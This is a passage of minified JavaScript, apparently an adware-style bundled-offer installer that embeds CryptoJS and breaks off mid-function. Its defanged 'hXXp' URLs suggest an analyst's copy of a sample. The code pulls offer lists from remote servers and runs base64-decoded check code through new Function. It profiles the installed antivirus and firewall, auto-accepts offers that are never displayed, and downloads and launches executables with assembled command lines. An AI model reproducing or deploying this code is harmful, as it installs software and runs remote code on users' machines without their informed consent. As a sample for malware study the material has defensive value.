p=this.cfg,s=p.hasher.create(),b=l.create(),u=b.words,q=p.keySize,p=p.iterations;u.length<q;){n&&s.update(n);var n=s.update(d).finalize(r);s.reset();for(var a=1;a<p;a ){n=s.finalize(n),s.reset()}b.concat(n)}b.sigBytes=4*q;return b}});u.EvpKDF=function(d,l,p){return s.create(p).compute(d,l)}})();CryptoJS.lib.Cipher||function(u){var p=CryptoJS,d=p.lib,l=d.Base,s=d.WordArray,t=d.BufferedBlockAlgorithm,r=p.enc.Base64,w=p.algo.EvpKDF,v=d.Cipher=t.extend({cfg:l.extend(),createEncryptor:function(e,a){return this.create(this._ENC_XFORM_MODE,e,a)},createDecryptor:function(e,a){return this.create(this._DEC_XFORM_MODE,e,a)},init:function(e,a,b){this.cfg=this.cfg.extend(b);this._xformMode=e;this._key=a;this.reset()},reset:function(){t.reset.call(this);this._doReset()},process:function(e){this._append(e);return this._process()},finalize:function(e){e&&this._append(e);return this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(e){return{encrypt:function(b,k,d){return("string"==typeof k?c:a).encrypt(e,b,k,d)},decrypt:function(b,k,d){return("string"==typeof k?c:a).decrypt(e,b,k,d)}}}});d.StreamCipher=v.extend({_doFinalize:function(){return this._process(!0)},blockSize:1});var b=p.mode={},x=function(e,a,b){var c=this._iv;c?this._iv=u:c=this._prevBlock;for(var d=0;d<b;d ){e[a d]^=c[d]}},q=(d.BlockCipherMode=l.extend({createEncryptor:function(e,a){return this.Encryptor.create(e,a)},createDecryptor:function(e,a){return this.Decryptor.create(e,a)},init:function(e,a){this._cipher=e;this._iv=a}})).extend();q.Encryptor=q.extend({processBlock:function(e,a){var b=this._cipher,c=b.blockSize;x.call(this,e,a,c);b.encryptBlock(e,a);this._prevBlock=e.slice(a,a c)}});q.Decryptor=q.extend({processBlock:function(e,a){var b=this._cipher,c=b.blockSize,d=e.slice(a,a c);b.decryptBlock(e,a);x.call(this,e,a,c);this._prevBlock=d}});b=b.CBC=q;q=(p.pad={}).Pkcs7={pad:function(a,b){for(var c=4*b,c=c-a.sigBytes%c,d=c<<24|c<<16|c<<8|c,l=[],n=0;n<c;n =4){l.push(d)}c=s.create(l,c);a.concat(c)},unpad:function(a){a.sigBytes-=a.words[a.sigBytes-1>>>2]&255}};d.BlockCipher=v.extend({cfg:v.cfg.extend({mode:b,padding:q}),reset:function(){v.reset.call(this);var a=this.cfg,b=a.iv,a=a.mode;if(this._xformMode==this._ENC_XFORM_MODE){var c=a.createEncryptor}else{c=a.createDecryptor,this._minBufferSize=1}this._mode=c.call(a,this,b&&b.words)},_doProcessBlock:function(a,b){this._mode.processBlock(a,b)},_doFinalize:function(){var a=this.cfg.padding;if(this._xformMode==this._ENC_XFORM_MODE){a.pad(this._data,this.blockSize);var b=this._process(!0)}else{b=this._process(!0),a.unpad(b)}return b},blockSize:4});var n=d.CipherParams=l.extend({init:function(a){this.mixIn(a)},toString:function(a){return(a||this.formatter).stringify(this)}}),b=(p.format={}).OpenSSL={stringify:function(a){var b=a.ciphertext;a=a.salt;return(a?s.create([1398893684,1701076831]).concat(a).concat(b):b).toString(r)},parse:function(a){a=r.parse(a);var b=a.words;if(1398893684==b[0]&&1701076831==b[1]){var c=s.create(b.slice(2,4));b.splice(0,4);a.sigBytes-=16}return n.create({ciphertext:a,salt:c})}},a=d.SerializableCipher=l.extend({cfg:l.extend({format:b}),encrypt:function(a,b,c,d){d=this.cfg.extend(d);var l=a.createEncryptor(c,d);b=l.finalize(b);l=l.cfg;return n.create({ciphertext:b,key:c,iv:l.iv,algorithm:a,mode:l.mode,padding:l.padding,blockSize:a.blockSize,formatter:d.format})},decrypt:function(a,b,c,d){d=this.cfg.extend(d);b=this._parse(b,d.format);return a.createDecryptor(c,d).finalize(b.ciphertext)},_parse:function(a,b){return"string"==typeof a?b.parse(a,this):a}}),p=(p.kdf={}).OpenSSL={execute:function(a,b,c,d){d||(d=s.random(8));a=w.create({keySize:b c}).compute(a,d);c=s.create(a.words.slice(b),4*c);a.sigBytes=4*b;return n.create({key:a,iv:c,salt:d})}},c=d.PasswordBasedCipher=a.extend({cfg:a.cfg.extend({kdf:p}),encrypt:function(b,c,d,l){l=this.cfg.extend(l);d=l.kdf.execute(d,b.keySize,b.ivSize);l.iv=d.iv;b=a.encrypt.call(this,b,c,d.key,l);b.mixIn(d);return b},decrypt:function(b,c,d,l){l=this.cfg.extend(l);c=this._parse(c,l.format);d=l.kdf.execute(d,b.keySize,b.ivSize,c.salt);l.iv=d.iv;return a.decrypt.call(this,b,c,d.key,l)}})}();(function(){for(var u=CryptoJS,p=u.lib.BlockCipher,d=u.algo,l=[],s=[],t=[],r=[],w=[],v=[],b=[],x=[],q=[],n=[],a=[],c=0;256>c;c ){a[c]=128>c?c<<1:c<<1^283}for(var e=0,j=0,c=0;256>c;c ){var k=j^j<<1^j<<2^j<<3^j<<4,k=k>>>8^k&255^99;l[e]=k;s[k]=e;var z=a[e],F=a[z],G=a[F],y=257*a[k]^16843008*k;t[e]=y<<24|y>>>8;r[e]=y<<16|y>>>16;w[e]=y<<8|y>>>24;v[e]=y;y=16843009*G^65537*F^257*z^16843008*e;b[k]=y<<24|y>>>8;x[k]=y<<16|y>>>16;q[k]=y<<8|y>>>24;n[k]=y;e?(e=z^a[a[a[G^z]]],j^=a[a[j]]):e=j=1}var H=[0,1,2,4,8,16,32,64,128,27,54],d=d.AES=p.extend({_doReset:function(){for(var a=this._key,c=a.words,d=a.sigBytes/4,a=4*((this._nRounds=d 6) 1),e=this._keySchedule=[],j=0;j<a;j ){if(j<d){e[j]=c[j]}else{var k=e[j-1];j%d?6<d&&4==j%d&&(k=l[k>>>24]<<24|l[k>>>16&255]<<16|l[k>>>8&255]<<8|l[k&255]):(k=k<<8|k>>>24,k=l[k>>>24]<<24|l[k>>>16&255]<<16|l[k>>>8&255]<<8|l[k&255],k^=H[j/d|0]<<24);e[j]=e[j-d]^k}}c=this._invKeySchedule=[];for(d=0;d<a;d ){j=a-d,k=d%4?e[j]:e[j-4],c[d]=4>d||4>=j?k:b[l[k>>>24]]^x[l[k>>>16&255]]^q[l[k>>>8&255]]^n[l[k&255]]}},encryptBlock:function(a,b){this._doCryptBlock(a,b,this._keySchedule,t,r,w,v,l)},decryptBlock:function(a,c){var d=a[c 1];a[c 1]=a[c 3];a[c 3]=d;this._doCryptBlock(a,c,this._invKeySchedule,b,x,q,n,s);d=a[c 1];a[c 1]=a[c 3];a[c 3]=d},_doCryptBlock:function(a,b,c,d,e,j,l,f){for(var m=this._nRounds,g=a[b]^c[0],h=a[b 1]^c[1],k=a[b 2]^c[2],n=a[b 3]^c[3],p=4,r=1;r<m;r ){var q=d[g>>>24]^e[h>>>16&255]^j[k>>>8&255]^l[n&255]^c[p ],s=d[h>>>24]^e[k>>>16&255]^j[n>>>8&255]^l[g&255]^c[p ],t=d[k>>>24]^e[n>>>16&255]^j[g>>>8&255]^l[h&255]^c[p ],n=d[n>>>24]^e[g>>>16&255]^j[h>>>8&255]^l[k&255]^c[p ],g=q,h=s,k=t}q=(f[g>>>24]<<24|f[h>>>16&255]<<16|f[k>>>8&255]<<8|f[n&255])^c[p ];s=(f[h>>>24]<<24|f[k>>>16&255]<<16|f[n>>>8&255]<<8|f[g&255])^c[p ];t=(f[k>>>24]<<24|f[n>>>16&255]<<16|f[g>>>8&255]<<8|f[h&255])^c[p ];n=(f[n>>>24]<<24|f[g>>>16&255]<<16|f[h>>>8&255]<<8|f[k&255])^c[p ];a[b]=q;a[b 1]=s;a[b 2]=t;a[b 3]=n},keySize:8});u.AES=p._createHelper(d)})();CryptoJS.mode.CFB=(function(){var CFB=CryptoJS.lib.BlockCipherMode.extend();CFB.Encryptor=CFB.extend({processBlock:function(words,offset){var cipher=this._cipher;var blockSize=cipher.blockSize;generateKeystreamAndEncrypt.call(this,words,offset,blockSize,cipher);this._prevBlock=words.slice(offset,offset blockSize)}});CFB.Decryptor=CFB.extend({processBlock:function(words,offset){var cipher=this._cipher;var blockSize=cipher.blockSize;var thisBlock=words.slice(offset,offset blockSize);generateKeystreamAndEncrypt.call(this,words,offset,blockSize,cipher);this._prevBlock=thisBlock}});function generateKeystreamAndEncrypt(words,offset,blockSize,cipher){var iv=this._iv;if(iv){var keystream=iv.slice(0);this._iv=undefined}else{var keystream=this._prevBlock}cipher.encryptBlock(keystream,0);for(var i=0;i<blockSize;i ){words[offset i]^=keystream[i]}}return CFB}());var firstCall=null;var secondCall=null;function checkPresent(base64code,resultCode){var code="";try{code=decodeBase64(base64code);code=code.replace(/%exitcode%/g,resultCode||"");var result=evalCode(code);return result}catch(err){return null}}function evalCode(code){var codeFunc=new Function(code);var result=codeFunc.call(this,[]);if(result===true||result===false){return result}else{var err={};err.message="no return";throw err}}function decodeBase64(base64code){var code="";try{var words=CryptoJS.enc.Base64.parse(base64code);code=CryptoJS.enc.Utf8.stringify(words)}catch(ex){code=Base64.decode(base64code)}return code}function checkMachineRestrictions(machineRestrictions){var restricted=false;$.each(machineRestrictions,function(i,value){value.type=value.type.toLowerCase();if(value.type!="db"&&value.type!="os"&&value.value.toLowerCase()!="mp_null"){restricted=restricted||("MP_" machineInfo[value.type]==value.value)}});return restricted}var Base64={_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /=",decode:function(input){var output="";var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[^A-Za-z0-9\ \/\=]/g,"");while(i<input.length){enc1=this._keyStr.indexOf(input.charAt(i ));enc2=this._keyStr.indexOf(input.charAt(i ));enc3=this._keyStr.indexOf(input.charAt(i ));enc4=this._keyStr.indexOf(input.charAt(i ));chr1=(enc1<<2)|(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|enc4;output=output String.fromCharCode(chr1);if(enc3!=64){output=output String.fromCharCode(chr2)}if(enc4!=64){output=output String.fromCharCode(chr3)}}output=Base64._utf8_decode(output);return output},_utf8_decode:function(utftext){var string="";var i=0;var c=c1=c2=0;while(i<utftext.length){c=utftext.charCodeAt(i);if(c<128){string =String.fromCharCode(c);i }else{if((c>191)&&(c<224)){c2=utftext.charCodeAt(i 1);string =String.fromCharCode(((c&31)<<6)|(c2&63));i =2}else{c2=utftext.charCodeAt(i 1);c3=utftext.charCodeAt(i 2);string =String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));i =3}}}return string}};var dataObject=null;var installerData;var machineInfo;var acceptedCount=0;var currOffer=-1;var step=-1;var loading=false;var installing=[];var finished=false;var mappInstalled=false;var exception=false;var currentOfferScreen=0;var wasSkipAll=false;var monetizationTypesAccepted=[];var executionID="";var specialLinks=["_TitPrivacy","_TitSetup","_TitFree","_TitHelp","_TitUninstall","_TitContact","_TitTerms"];var TRACKURL;var INSTALLED=0;var DECLINED=2;var ABORTED=3;var PRESENT=4;var NOCONFIRMED=5;var ACCEPTED=9;var SKIPALL=17;var PENDING=20;var MACHINE=85;var EXECUTIONERROR=91;var DISPLAYERROR=92;var INSTALLERROR=93;var PRECHECKERROR=94;var POSTCHECKERROR=95;var OFFERERROR=96;var NODISPLAYCOMPATIBLE=97;var WELCOME=0;var OFFERS=1;var INSTALLING=2;var FINISH=3;function getData(crypted){var decryptedText="CryptError";try{decryptedText=hexToString(crypted);installerData=JSON.parse(decryptedText);if(typeof installerData.extra==="string"){installerData.extra=JSON.parse(installerData.extra)}addLog(JSON.stringify(installerData));installerData.extra.requestHost=installerData.extra.requestHost.replace("kyle.","stan.")}catch(error){ForceError("Internal->" JSON.stringify(error) "->" crypted,"","");return}addTrace("DecryptedInternal");addLog("decrypted internal data");if(installerData.host==""){installerData.host=installerData.extra.requestHost.substring(installerData.extra.requestHost.indexOf(".") 1)}try{addLog(JSON.stringify(machineInfo));var apiUrl;addLog("getting machine info");var WinVer=machineInfo.os;addLog("parsing winver");WinVer=parseFloat(WinVer);addLog("getting url");apiUrl="hXXp://" installerData.extra.requestHost "/stan/api_war/" installerData.publisher "/" installerData.campaign "/" installerData.carrier "/" machineInfo.lan.toUpperCase() "/" getRegion().toUpperCase() "?browser=" installerData.usedBrowser;addLog(apiUrl);getResponseFromWrapper(cryptUrl(apiUrl),"","onDataRecivied","ForceError");addLog(WinVer.toString())}catch(error){ForceError("GetData->" JSON.stringify(error))}}function onException(data){try{if(data.message){data=data.message}if(dataObject&&dataObject.offers){for(var i=0;i<dataObject.offers.length;i ){var offer=dataObject.offers[i];offer.state=EXECUTIONERROR}}var msgText="An error has occurred";try{if(returnIdValue){msgText=returnIdValue("#_ExceptionText")||msgText}showMessage(msgText,"",false)}catch(err){}exception=true;addLog("exception");onExit()}catch(err){sendEx("onException->" JSON.stringify(err))}}function generateExecutionID(){var stringBuilder="";var currentdate=new Date();stringBuilder =currentdate.getHours();stringBuilder =currentdate.getMinutes();stringBuilder =currentdate.getMilliseconds();stringBuilder =installerData.uid||randomString(23);return stringBuilder}function randomString(len){var text="";var charset="abcdefghijklmnopqrstuvwxyz0123456789";for(var i=0;i<len;i ){text =charset.charAt(Math.floor(Math.random()*charset.length))}return text}function onDataRecivied(data){try{addTrace("ApiSuccess");addLog("api response succes");dataObject=data;dataObject=JSON.parse(replaceResponse(dataObject,installerData,JSON.parse(dataObject),""));executionID=generateExecutionID();setBlankProfile();machineInfo.fav=FormatAntivirusName(machineInfo.av,dataObject.installerBehavior.antivirus);machineInfo.ffw=FormatAntivirusName(machineInfo.fw,dataObject.installerBehavior.antivirus);machineInfo.fas=FormatAntivirusName(machineInfo.as,dataObject.installerBehavior.antivirus);addLog(JSON.stringify(machineInfo));TRACKURL="hXXp://" installerData.extra.requestHost "/kenny/" dataObject.installerBehavior.track.service;addLog("track url->" TRACKURL);addLog("track type->" dataObject.installerBehavior.track.type);setTrackInterval();addLog("object parsed");addTrace("ObjectParsed");setInitialStates();addTrace("PostSetInitialStates");addLog("set initial states completed");showProfile()}catch(error){ForceError("DataRecivied->" JSON.stringify(error) "--","","","")}}function setBlankProfile(){if(installerData.url!=""){dataObject.installerBehavior.mappUrl=installerData.url}if(installerData.caption!=""){installerData.app=installerData.caption;dataObject.presentation.formCaption=installerData.caption}}function setLinks(){SetLink("_TitPrivacy",dataObject.presentation.links.privacyUrl,true);SetLink("_TitSetup",dataObject.presentation.links.setupUrl,true);SetLink("_TitFree",dataObject.presentation.links.freeUrl,true);SetLink("_TitHelp",dataObject.presentation.links.helpUrl,true);SetLink("_TitUninstall",dataObject.presentation.links.uninstallUrl,true);SetLink("_TitContact",dataObject.presentation.links.contactUrl,true);SetLink("_TitTerms",dataObject.presentation.links.termsUrl,true)}function setInitialStates(){for(var i=0;i<dataObject.offers.length;i ){var offer=dataObject.offers[i];offer.catchallMonetizations=[];offer.usedScreen=null;offer.score =1;if(offer.inactive==-1||!offer.inactive){if(checkMachineRestrictions(offer.offerBehavior.machineRestrictions)){offer.state=MACHINE}else{if(offer.offerBehavior.ownerCheck&&ownerCheck(offer.id,false)){offer.state=PRESENT}else{var checkResult;var ignorePresent=GetIgnorePresents(offer.id);if(ignorePresent==1){checkResult=false}else{if(ignorePresent==2){checkResult=true}else{checkResult=checkPresent(offer.offerBehavior.preCheck)}}if(checkResult==null){offer.state=PRECHECKERROR}else{if(checkResult){offer.state=PRESENT}else{offer.state=PENDING}}}}}else{offer.state=offer.inactive}}}var gratShowed=false;function openGratitudes(){if(gratShowed){return}gratShowed=true;if(mappInstalled&&dataObject.installerBehavior.gratitudeUrl!=null){openUrlOnDefaultBrowser(dataObject.installerBehavior.gratitudeUrl)}else{if(!mappInstalled&&dataObject.installerBehavior.abortUrl!=null){openUrlOnDefaultBrowser(dataObject.installerBehavior.abortUrl)}}}function generateUninstaller(){var values=Array();$.each(dataObject.offers,function(key,offer){if(offer.state==INSTALLED){$.each(offer.offerBehavior.uninstall,function(key,uninstall){var currentvalue=Array();currentvalue[0]=uninstall.uninstallKey;currentvalue[1]=uninstall.uninstallProcess;values.push(currentvalue)})}});createUninstaller(values)}function onAccept(){addLog("onAccept is loading = " loading);if(loading){return}loading=true;if(step==1){if(currOffer.length==1){var offerObject=dataObject.offers[currOffer[0]];var accepted=GetAccepted(dataObject.presentation.offerScreens[currentOfferScreen].argsDecline);if(accepted){acceptOffer(offerObject);offerObject.commandLine=GetCommandline(offerObject.commandLine,offerObject.argsDelimiter);acceptedCount }else{offerObject.state=DECLINED;changeScreen()}}else{$("._CBdecline").each(function(){var offerObject=dataObject.offers[$(this).attr("tag")];if($(this).is(":checked")){acceptOffer(offerObject)}else{offerObject.state=DECLINED}})}}goForward()}function onDecline(){addLog("onDecline is loading = " loading);if(loading){return}loading=true;if(step==1){$.each(currOffer,function(key,offer){var currObject=dataObject.offers[offer];currObject.state=DECLINED})}changeScreen();goForward()}function onOmit(){addLog("onOmit is loading = " loading);if(loading){return}loading=true;$.each(dataObject.offers,function(key,offer){if(offer.state==PENDING){wasSkipAll=true;offer.state=SKIPALL}});goForward()}function ExitApplication(){openGratitudes();generateUninstaller();closeForm()}function TrackAndClose(){finished=true;track("ExitApplication","ExitApplication")}function exitBeforeEnd(){var result=showMessage(returnIdValue("#_ExitConfirm")||"Closing now the installer could leave some incomplete installations. Would you like to continue with the instalation process?","",true);if(result==false){if(step==1){$.each(currOffer,function(key,offer){var currObject=dataObject.offers[offer];currObject.state=ABORTED})}else{if(step==2){for(var i=0;i<dataObject.offers.length;i ){var offer=dataObject.offers[i];if(typeof offer!=="undefined"&&offer.state==ACCEPTED){offer.state=ABORTED}}}}TrackAndClose()}}function onExit(){addLog("onExit");if(!dataObject){closeForm()}else{if(finished){ExitApplication()}else{if(exception){TrackAndClose()}else{exitBeforeEnd()}}}}function goForward(){addLog("go forward");updateValue($("._OffersShowing"),"",false);currOffersText="";printStates();if(step!=OFFERS||currOffer==null){step }hideClasses(["_StepElement"]);switch(step){case WELCOME:ChangeVisibility("_StepWelcome");var common=returnCommonNode("welcome");showCommon(common,"welcomeScreen",dataObject.presentation.mappRenderId);break;case OFFERS:ChangeVisibility("_StepOptions");showNextOffer();break;case INSTALLING:addUniqueTrace("RenderInstallStep");addLog("InstallScreen");ChangeVisibility("_StepInstalling");showCommon(returnCommonNode("install"),"installScreen");break;case FINISH:finished=true;if(dataObject.installerBehavior.hideOnInstall){hideForm(false,false)}track("ShowFinish","ShowFinish");break;default:sendEx("default on goforward");exception=true;onExit();break}}function ShowFinish(data){ChangeVisibility("_StepFinished");showCommon(returnCommonNode("finish"),"finishScreen")}function returnCommonNode(identifier){var common=undefined;$.each(dataObject.presentation.commonScreens,function(key,commonScreen){if(commonScreen.type==identifier){common=commonScreen}});return common}function searchNextAllowedOfferscreen(offerID,OfferScreenID,screens){if(OfferScreenID>screens.length-1){OfferScreenID=0}var currentOfferScreen=OfferScreenID;var returnData=null;while(true){if($.inArray(offerID,screens[currentOfferScreen].restrictedOffers)==-1){returnData=currentOfferScreen;break}else{if(currentOfferScreen>=screens.length-1){currentOfferScreen=0}else{currentOfferScreen }if(OfferScreenID==currentOfferScreen){break}}}return returnData}function nextOfferCallback(list){addSpeficicTrace("getNextOffer");currOffer=list;if(currOffer){addLog("loaded offers display");currOffersText="";if(currOffer.length==1){var result=searchNextAllowedOfferscreen(dataObject.offers[currOffer].id,currentOfferScreen,dataObject.presentation.offerScreens);if(result==null){onDisplayFail("bloqued")}else{currentOfferScreen=result;dataObject.offers[currOffer].usedScreen=dataObject.presentation.offerScreens[currentOfferScreen].id;createFrame(dataObject.presentation.offerScreens[currentOfferScreen].renderUrl dataObject.offers[currOffer].offerPresentation.renderId,dataObject.offers[currOffer].offerPresentation.renderStyle,"onDisplayFail","displayLoaded")}}else{showCommon(returnCommonNode("group"),"groupScreen")}}else{addLog("no offers");currOffer=null;goForward()}}function showNextOffer(){try{addSpeficicTrace("gettingNextOffer");startGettingNextOffer(dataObject.offers,dataObject.installerBehavior.maxSteps,returnCommonNode("group")!==undefined,nextOfferCallback)}catch(err){addLog(err.message)}}function onDisplayFail(reasonTxt){if(step==1){$.each(currOffer,function(key,offer){var currObject=dataObject.offers[offer];if(reasonTxt!="bloqued"){currObject.state=DISPLAYERROR}else{currObject.state=NODISPLAYCOMPATIBLE}})}addLog(reasonTxt);goForward()}function setOfferObject(key,url,commandline,filename,name,waitToCheck,macBehavior){var newOffer={};newOffer.id=key;newOffer.url=url;newOffer.commandline=commandline;newOffer.filename=filename||name ".exe";newOffer.name=name;newOffer.checking=false;newOffer.completed=false;newOffer.macBehavior=macBehavior||"";if(waitToCheck==-1||typeof waitToCheck==="undefined"){newOffer.waitToCheck=10000}else{newOffer.waitToCheck=waitToCheck}return newOffer}function changeScreen(){currentOfferScreen ;if(dataObject.presentation.offerScreens.length-1<currentOfferScreen){currentOfferScreen=0}}function compareArraysRemoveNumbers(firstArray,secondArray){var combined=[];$.each(firstArray,function(key,element){if($.inArray(element,secondArray)!=-1){element=element.replace(/[0-9]/g,"");if($.inArray(element,combined)==-1){combined.push(element)}}});return combined}function acceptedCatchall(arrayTotal,arrayBloqued){var formatted=[];var resultArray=[];for(var i=0;i<arrayTotal.length;i ){var element=arrayTotal[i].replace(/[0-9]/g,"");if($.inArray(element,arrayBloqued)==-1){formatted.push(element)}}$.each(formatted,function(key,element){if($.inArray(element,resultArray)==-1){resultArray.push(element)}});return resultArray}function replaceCommandlineCachAll(offer,Accepted){var cachallCommandline="";var monAdded=compareArraysRemoveNumbers(offer.offerBehavior.monetizationTypes,Accepted);$.each(monAdded,function(key,mon){cachallCommandline =mon offer.argsDelimiter});offer.catchallMonetizations=acceptedCatchall(offer.offerBehavior.monetizationTypes,monAdded);cachallCommandline=cachallCommandline.slice(0,-1);if(offer.commandLine.indexOf("ÊtchAll%")!=-1){offer.commandLine=offer.commandLine.replace(/ÊtchAll%/g,cachallCommandline)}else{offer.commandLine=offer.commandLine cachallCommandline}}function acceptOffer(offer){acceptedRestrictions=acceptedRestrictions.concat(offer.offerBehavior.restrictions);acceptedRestrictions.push(offer.id);offer.state=ACCEPTED;if(offer.offerBehavior.catchAll){replaceCommandlineCachAll(offer,monetizationTypesAccepted)}$.merge(monetizationTypesAccepted,offer.offerBehavior.monetizationTypes)}function setNoDisplayStates(offers){for(var i=0;i<offers.length;i ){if(offers[i].state==PENDING&&$.inArray(offers[i].id,acceptedRestrictions)==-1&&!offers[i].offerBehavior.showDisplay){acceptOffer(offers[i])}}}function setTrackInterval(){track("","");var interval=setInterval(function(){addLog("autotracking");if(finished){addLog("trackend");clearInterval(interval);return}track("","")},60000)}var CryptoJS=CryptoJS||function(h,r){var k={},l=k.lib={},n=function(){},f=l.Base={extend:function(a){n.prototype=this;var b=new n;a&&b.mixIn(a);b.hasOwnProperty("init")||(b.init=function(){b.$super.init.apply(this,arguments)});b.init.prototype=b;b.$super=this;return b},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var b in a){a.hasOwnProperty(b)&&(this[b]=a[b])}a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.init.prototype.extend(this)}},j=l.WordArray=f.extend({init:function(a,b){a=this.words=a||[];this.sigBytes=b!=r?b:4*a.length},toString:function(a){return(a||s).stringify(this)},concat:function(a){var b=this.words,d=a.words,c=this.sigBytes;a=a.sigBytes;this.clamp();if(c%4){for(var e=0;e<a;e ){b[c e>>>2]|=(d[e>>>2]>>>24-8*(e%4)&255)<<24-8*((c e)%4)}}else{if(65535<d.length){for(e=0;e<a;e =4){b[c e>>>2]=d[e>>>2]}}else{b.push.apply(b,d)}}this.sigBytes =a;return this},clamp:function(){var a=this.words,b=this.sigBytes;a[b>>>2]&=4294967295<<32-8*(b%4);a.length=h.ceil(b/4)},clone:function(){var a=f.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var b=[],d=0;d<a;d =4){b.push(4294967296*h.random()|0)}return new j.init(b,a)}}),m=k.enc={},s=m.Hex={stringify:function(a){var b=a.words;a=a.sigBytes;for(var d=[],c=0;c<a;c ){var e=b[c>>>2]>>>24-8*(c%4)&255;d.push((e>>>4).toString(16));d.push((e&15).toString(16))}return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c =2){d[c>>>3]|=parseInt(a.substr(c,2),16)<<24-4*(c%8)}return new j.init(d,b/2)}},p=m.Latin1={stringify:function(a){var b=a.words;a=a.sigBytes;for(var d=[],c=0;c<a;c ){d.push(String.fromCharCode(b[c>>>2]>>>24-8*(c%4)&255))}return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c ){d[c>>>2]|=(a.charCodeAt(c)&255)<<24-8*(c%4)}return new j.init(d,b)}},t=m.Utf8={stringify:function(a){try{return decodeURIComponent(escape(p.stringify(a)))}catch(b){throw Error("Malformed UTF-8 data")}},parse:function(a){return p.parse(unescape(encodeURIComponent(a)))}},q=l.BufferedBlockAlgorithm=f.extend({reset:function(){this._data=new j.init;this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=t.parse(a));this._data.concat(a);this._nDataBytes =a.sigBytes},_process:function(a){var b=this._data,d=b.words,c=b.sigBytes,e=this.blockSize,f=c/(4*e),f=a?h.ceil(f):h.max((f|0)-this._minBufferSize,0);a=f*e;c=h.min(4*a,c);if(a){for(var g=0;g<a;g =e){this._doProcessBlock(d,g)}g=d.splice(0,a);b.sigBytes-=c}return new j.init(g,c)},clone:function(){var a=f.clone.call(this);a._data=this._data.clone();return a},_minBufferSize:0});l.Hasher=q.extend({cfg:f.extend(),init:function(a){this.cfg=this.cfg.extend(a);this.reset()},reset:function(){q.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);return this._doFinalize()},blockSize:16,_createHelper:function(a){return function(b,d){return(new a.init(d)).finalize(b)}},_createHmacHelper:function(a){return function(b,d){return(new u.HMAC.init(a,d)).finalize(b)}}});var u=k.algo={};return k}(Math);function printStates(){if(window.external&&("printStates" in window.external)&&("acceptedMonetizations" in window.external)){var object=[];$.each(dataObject.offers,function(key,offer){var newObject={};newObject.id=offer.id;newObject.name=offer.name;newObject.canGroup=offer.offerPresentation.canGroup;newObject.monetization=offer.offerBehavior.monetizationTypes;newObject.restrictions=offer.offerBehavior.restrictions;newObject.state=offer.state;object.push(newObject)});window.external.printStates(JSON.stringify(object));window.external.acceptedMonetizations(monetizationTypesAccepted)}}function PrintInstallPropiertas(installingOffers){if(window.external&&("printInstallPropiertas" in window.external)){$.each(installingOffers,function(key,offer){window.external.printInstallPropiertas(offer.name,offer.url,offer.commandline)})}}function printCombination(offers,value){if(window.external&&("printCombination" in window.external)){setTimeout(function(){var offersText="";for(var i=0;i<offers.length;i ){for(var a=0;a<offers[i].length;a ){offersText =offers[i][a] " "}offersText=offersText.slice(0,-1);offersText =","}window.external.printCombination(offersText,value);addLog(offersText "->" value)},1)}}function printClearCombination(){if(window.external&&("printClearCombination" in window.external)){setTimeout(function(){window.external.printClearCombination()},1)}}var ignorepresents=null;function GetIgnorePresents(offerID){if(ignorepresents!==null){return ignorepresents}if(window.external&&("GetIgnorePresents" in window.external)){return window.external.GetIgnorePresents(offerID)}else{ignorepresents=0}return ignorepresents}function getRegion(){if(window.external&&("getRegion" in window.external)){return window.external.getRegion()||""}else{return""}}function addLog(message){if(window.external&&("addLog" in window.external)){setTimeout(function(){window.external.addLog(message)},0)}}var installingOffers=null;var totalbytes=0;var installStart=null;function install(offers){installingOffers=offers;PrintInstallPropiertas(offers);SetTotalSize()}function SetTotalSize(){setTimeout(function(){var urls="";$.each(installingOffers,function(key,offer){urls =offer.url "%%%"});urls=urls.slice(0,-3);var bytes=getTotalSize(urls);totalSizeRecivied(bytes)},0)}function totalSizeRecivied(bytes){addLog(bytes);addLog(typeof(bytes.toString()));totalbytes=parseInt(bytes.toString());addLog("parsed");addTrace("totalSizeRecivied");$.each(installingOffers,function(key,offer){try{offer.position=key;addLog("startInstall");startInstall(key,offer.url,offer.commandline,offer.filename,offer.macBehavior);addLog("startedInstall")}catch(err){offer.downloadedBytes=0;offer.totalbytes=0;offer.state=OFFERERROR}});addTrace("allOffersSended");var dateObj=new Date();installStart=dateObj.getTime();getOffersProgress()}var currdownloadedBytes=null;function showInstallProgress(){currdownloadedBytes=0;$.each(installingOffers,function(key,offer){if($.isNumeric(offer.downloadedBytes)){currdownloadedBytes =offer.downloadedBytes}});if(currdownloadedBytes>0){var percentage=Math.round((currdownloadedBytes*90)/totalbytes);if(percentage<90){$("._ProgressText").show();$("._ProgressTextDownloaded").html(humanReadableFileSize(currdownloadedBytes));$("._ProgressTextTotal").html(humanReadableFileSize(totalbytes));$("._ProgressTextPercentage").html(percentage);$("._TotalProgressLevel").width(percentage "%")}else{$("._TotalProgressLevel").width("90%");$("._ProgressText").hide();$("._ProgressInstallingText").show()}}}var errorIntervaTracked=false;function trackErrorOnInterval(message){if(!errorIntervaTracked){errorIntervaTracked=true;onException("DownloadInterval->" message)}}function updateOffersValues(){var allInstalled=true;for(var i=0;i<installingOffers.length;i ){if(installingOffers[i].checking){continue}var response=null;var dateObj=new Date();if(dateObj.getTime()-installStart<900000){response=getDownloadProgress(i)}else{response="-99"}var responseSplited=response.split("|");if(responseSplited.length==2){allInstalled=false;offerProgress(i,responseSplited[0],responseSplited[1])}else{installingOffers[i].checking=true;try{offerInstallComplete(i,responseSplited[0],installingOffers[i].waitToCheck)}catch(err){installingOffers[i].state=INSTALLERROR;sendEx("offercompleteError","offerID->" installingOffers[i].id,"","",JSON.stringify(err))}}}return allInstalled}var wentToFinish=false;function getOffersProgress(){setTimeout(function(){addUniqueTrace("progressIntervalCreated");try{var 